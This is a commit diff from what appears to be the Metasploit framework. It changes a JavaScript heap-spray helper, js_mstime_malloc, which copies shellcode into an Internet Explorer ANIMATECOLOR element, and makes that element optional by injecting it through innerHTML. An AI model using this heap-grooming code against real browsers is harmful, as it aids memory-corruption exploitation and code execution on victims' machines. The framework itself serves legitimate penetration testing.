Skip to content

Commit 69f8103

Browse files
committed
Make animatecolor element optional by using innerHTML
1 parent 3d2cb9e commit 69f8103

File tree

1 file changed

+6
-2
lines changed

1 file changed

+6
-2
lines changed

lib/msf/core/exploit/http/server.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -885,7 +885,6 @@ def js_mstime_malloc
885885
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
886886
if (offset == undefined) { offset = 0; }
887887
if (heapBlockSize == undefined) { throw "Size must be defined"; }
888-
if (objId == undefined) { throw "ANIMATECOLOR element must be defined"; }
889888
890889
buf = "";
891890
for (i=0; i < heapBlockSize/4; i++) {
@@ -899,7 +898,12 @@ def js_mstime_malloc
899898
}
900899
901900
e = document.getElementById(objId);
902-
if (e == null) { throw "Invalid ANIMATECOLOR element"; }
901+
if (e == null) {
902+
eleId = "#{Rex::Text.rand_text_alpha(5)}"
903+
acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
904+
document.body.innerHTML = document.body.innerHTML + acTag;
905+
e = document.getElementById(eleId);
906+
}
903907
try { e.values = buf; }
904908
catch (e) {}
905909
}

0 commit comments

Comments
 (0)